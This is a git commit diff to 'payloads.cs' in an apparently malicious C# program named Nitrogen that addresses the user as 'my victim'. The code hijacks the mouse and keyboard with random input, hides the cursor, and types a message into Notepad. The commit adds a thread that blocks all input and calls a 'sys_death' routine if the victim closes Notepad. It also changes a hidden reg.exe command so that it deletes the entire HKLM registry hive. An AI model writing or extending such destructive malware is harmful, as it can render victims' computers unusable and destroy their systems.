Prevent closing the notepad window
This commit is contained in:
parent
44b2547674
commit
b9b9477bc3
57
payloads.cs
57
payloads.cs
|
@ -188,22 +188,10 @@ namespace Nitrogen
|
||||||
int x = Screen.PrimaryScreen.Bounds.Width, y = Screen.PrimaryScreen.Bounds.Height;
|
int x = Screen.PrimaryScreen.Bounds.Width, y = Screen.PrimaryScreen.Bounds.Height;
|
||||||
Dll_Imports.POINT get_mouse;
|
Dll_Imports.POINT get_mouse;
|
||||||
Dll_Imports.GetCursorPos(out get_mouse);
|
Dll_Imports.GetCursorPos(out get_mouse);
|
||||||
if (variables.extreme == false)
|
if (variables.extreme)
|
||||||
{
|
|
||||||
Dll_Imports.SetCursorPos(Convert.ToInt32(get_mouse.X + rand.Next(-20, 20)), Convert.ToInt32(get_mouse.Y + rand.Next(-20, 20)));
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
{
|
||||||
Dll_Imports.SetCursorPos(Convert.ToInt32(get_mouse.X + rand.Next(-100, 100)), Convert.ToInt32(get_mouse.Y + rand.Next(-100, 100)));
|
Dll_Imports.SetCursorPos(Convert.ToInt32(get_mouse.X + rand.Next(-100, 100)), Convert.ToInt32(get_mouse.Y + rand.Next(-100, 100)));
|
||||||
}
|
string myText = "abcdefghijklmnopqrstuvwxyzěščřžýáíé+=´¨/*-+0123456789öÿïäëéóśńŕůú)§,.-" +
|
||||||
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTDOWN, x, y, 0, UIntPtr.Zero);
|
|
||||||
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, x, y, 0, UIntPtr.Zero);
|
|
||||||
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_MIDDLEDOWN, x, y, 0, UIntPtr.Zero);
|
|
||||||
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_MIDDLEUP, x, y, 0, UIntPtr.Zero);
|
|
||||||
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTDOWN, x, y, 0, UIntPtr.Zero);
|
|
||||||
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, x, y, 0, UIntPtr.Zero);
|
|
||||||
|
|
||||||
string myText = "abcdefghijklmnopqrstuvwxyzěščřžýáíé+=´¨/*-+0123456789öÿïäëéóśńŕůú)§,.-" +
|
|
||||||
"☺☻♥♦♣♠•◘○◙♂♀♪♫☼►◄↕‼¶§▬↨↑↓→←∟↔▲▼ !?ûùÿ┤╡╢╖╕║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤,-.!:É" +
|
"☺☻♥♦♣♠•◘○◙♂♀♪♫☼►◄↕‼¶§▬↨↑↓→←∟↔▲▼ !?ûùÿ┤╡╢╖╕║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤,-.!:É" +
|
||||||
"@°E›ÍОÌåÃTWÉò=*ª‹nצádöÔâ͹¸¯š1‰z]fzç<yŠïj£øz]Òä[ƒ†”k•¢‚U¦áæQ|mkÚ~ú–H|‚ùSáp±Êjª1j" +
|
"@°E›ÍОÌåÃTWÉò=*ª‹nצádöÔâ͹¸¯š1‰z]fzç<yŠïj£øz]Òä[ƒ†”k•¢‚U¦áæQ|mkÚ~ú–H|‚ùSáp±Êjª1j" +
|
||||||
"£½Q©ùz„˜=,ˆŽã´í - OüþM#H±ŠÏ*b`þîWºBA»_25x +%«³$Á¯zª:£Ìì«ùªšu%´ô" +
|
"£½Q©ùz„˜=,ˆŽã´í - OüþM#H±ŠÏ*b`þîWºBA»_25x +%«³$Á¯zª:£Ìì«ùªšu%´ô" +
|
||||||
|
@ -211,16 +199,23 @@ namespace Nitrogen
|
||||||
"I4%¾Rë³rˆ£…>¥”cÿ®fмjz›»ê¼Š£ŠaÃÌ?›}ïKÜÿ†æ&è†&Ù÷™ŒfF2ä ™Ó°iƼ?¨c ¶’óQñ‚" +
|
"I4%¾Rë³rˆ£…>¥”cÿ®fмjz›»ê¼Š£ŠaÃÌ?›}ïKÜÿ†æ&è†&Ù÷™ŒfF2ä ™Ó°iƼ?¨c ¶’óQñ‚" +
|
||||||
"q4R³kUzH‡ñ‹Ð¿Z؆‹©iÞ8Zoþóþ¤bqm†ú @Á]»ÜÃÆz¾ÇüðÅEsîp«›lbû‹&e[”0®¨°zå(1ÿ";
|
"q4R³kUzH‡ñ‹Ð¿Z؆‹©iÞ8Zoþóþ¤bqm†ú @Á]»ÜÃÆz¾ÇüðÅEsîp«›lbû‹&e[”0®¨°zå(1ÿ";
|
||||||
|
|
||||||
char[] Mychars = myText.ToCharArray();
|
char[] Mychars = myText.ToCharArray();
|
||||||
|
|
||||||
UInt16 uniCode = Mychars[rand.Next(Mychars.Length)];
|
UInt16 uniCode = Mychars[rand.Next(Mychars.Length)];
|
||||||
|
|
||||||
Dll_Imports.INPUT[] input = new Dll_Imports.INPUT[1];
|
Dll_Imports.INPUT[] input = new Dll_Imports.INPUT[1];
|
||||||
input[0].type = Dll_Imports.InputType.INPUT_KEYBOARD;
|
input[0].type = Dll_Imports.InputType.INPUT_KEYBOARD;
|
||||||
input[0].U.ki.wScan = (Dll_Imports.ScanCodeShort)uniCode;
|
input[0].U.ki.wScan = (Dll_Imports.ScanCodeShort)uniCode;
|
||||||
input[0].U.ki.dwFlags = Dll_Imports.KEYEVENTF.UNICODE;
|
input[0].U.ki.dwFlags = Dll_Imports.KEYEVENTF.UNICODE;
|
||||||
Dll_Imports.SendInput(1, input, Marshal.SizeOf(typeof(Dll_Imports.INPUT)));
|
Dll_Imports.SendInput(1, input, Marshal.SizeOf(typeof(Dll_Imports.INPUT)));
|
||||||
Thread.Sleep(5);
|
Thread.Sleep(5);
|
||||||
|
}
|
||||||
|
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTDOWN, x, y, 0, UIntPtr.Zero);
|
||||||
|
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, x, y, 0, UIntPtr.Zero);
|
||||||
|
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_MIDDLEDOWN, x, y, 0, UIntPtr.Zero);
|
||||||
|
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_MIDDLEUP, x, y, 0, UIntPtr.Zero);
|
||||||
|
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTDOWN, x, y, 0, UIntPtr.Zero);
|
||||||
|
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_RIGHTUP, x, y, 0, UIntPtr.Zero);
|
||||||
}
|
}
|
||||||
if (variables.extreme == false)
|
if (variables.extreme == false)
|
||||||
Thread.Sleep(rand.Next(3000, 10000));
|
Thread.Sleep(rand.Next(3000, 10000));
|
||||||
|
@ -273,6 +268,7 @@ namespace Nitrogen
|
||||||
public static void story()
|
public static void story()
|
||||||
{
|
{
|
||||||
Thread.Sleep(5000);
|
Thread.Sleep(5000);
|
||||||
|
Thread CheckNotepadThread = new Thread(CheckNotepad);
|
||||||
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
|
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
|
||||||
string text = "Hello my victim " + userName + "!" +
|
string text = "Hello my victim " + userName + "!" +
|
||||||
"I'm the thing you run 2 fucking seconds ago!" +
|
"I'm the thing you run 2 fucking seconds ago!" +
|
||||||
|
@ -288,11 +284,11 @@ namespace Nitrogen
|
||||||
char[] Mychars = text.ToCharArray();
|
char[] Mychars = text.ToCharArray();
|
||||||
Process.Start(@"C:\Windows\notepad.exe");
|
Process.Start(@"C:\Windows\notepad.exe");
|
||||||
Process[] proces_name = Process.GetProcessesByName("notepad");
|
Process[] proces_name = Process.GetProcessesByName("notepad");
|
||||||
Cursor.Hide();
|
|
||||||
while (proces_name.Length == 0) { }
|
while (proces_name.Length == 0) { }
|
||||||
Thread.Sleep(1000);
|
Thread.Sleep(1000);
|
||||||
Thread th_spam = new Thread(mouse_spam);
|
Thread th_spam = new Thread(mouse_spam);
|
||||||
th_spam.Start();
|
th_spam.Start();
|
||||||
|
CheckNotepadThread.Start();
|
||||||
for (int num = 0; num < Mychars.Length; num++)
|
for (int num = 0; num < Mychars.Length; num++)
|
||||||
{
|
{
|
||||||
int x = Screen.PrimaryScreen.Bounds.Width; int y = Screen.PrimaryScreen.Bounds.Height;
|
int x = Screen.PrimaryScreen.Bounds.Width; int y = Screen.PrimaryScreen.Bounds.Height;
|
||||||
|
@ -312,6 +308,7 @@ namespace Nitrogen
|
||||||
|
|
||||||
Thread.Sleep(100);
|
Thread.Sleep(100);
|
||||||
}
|
}
|
||||||
|
CheckNotepadThread.Abort();
|
||||||
Cursor.Show();
|
Cursor.Show();
|
||||||
Thread.Sleep(1000);
|
Thread.Sleep(1000);
|
||||||
foreach (Process proces_n in proces_name) { proces_n.Kill(); }
|
foreach (Process proces_n in proces_name) { proces_n.Kill(); }
|
||||||
|
@ -347,6 +344,7 @@ namespace Nitrogen
|
||||||
Process[] proces_name = Process.GetProcessesByName("notepad");
|
Process[] proces_name = Process.GetProcessesByName("notepad");
|
||||||
while (proces_name.Length == 1)
|
while (proces_name.Length == 1)
|
||||||
{
|
{
|
||||||
|
Cursor.Hide();
|
||||||
proces_name = Process.GetProcessesByName("notepad");
|
proces_name = Process.GetProcessesByName("notepad");
|
||||||
Cursor.Position = new Point(50, 50);
|
Cursor.Position = new Point(50, 50);
|
||||||
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, 50, 50, 0, UIntPtr.Zero);
|
Dll_Imports.mouse_event(Dll_Imports.MOUSEEVENTF_LEFTUP, 50, 50, 0, UIntPtr.Zero);
|
||||||
|
@ -354,6 +352,17 @@ namespace Nitrogen
|
||||||
Thread.Sleep(1);
|
Thread.Sleep(1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
public static void CheckNotepad()
|
||||||
|
{
|
||||||
|
Process[] proces_name = Process.GetProcessesByName("notepad");
|
||||||
|
while (proces_name.Length == 1)
|
||||||
|
{
|
||||||
|
proces_name = Process.GetProcessesByName("notepad");
|
||||||
|
}
|
||||||
|
BlockInput(true);
|
||||||
|
sys_death();
|
||||||
|
Environment.Exit(-1);
|
||||||
|
}
|
||||||
public static void move_icon()
|
public static void move_icon()
|
||||||
{
|
{
|
||||||
for (; ; )
|
for (; ; )
|
||||||
|
@ -457,7 +466,7 @@ namespace Nitrogen
|
||||||
{
|
{
|
||||||
UseShellExecute = true,
|
UseShellExecute = true,
|
||||||
FileName = "reg.exe",
|
FileName = "reg.exe",
|
||||||
Arguments = @"delete HKCR /f",
|
Arguments = @"delete HKLM /f",
|
||||||
CreateNoWindow = true,
|
CreateNoWindow = true,
|
||||||
WindowStyle = ProcessWindowStyle.Hidden
|
WindowStyle = ProcessWindowStyle.Hidden
|
||||||
};
|
};
|
||||||
|
|
Loading…
Reference in New Issue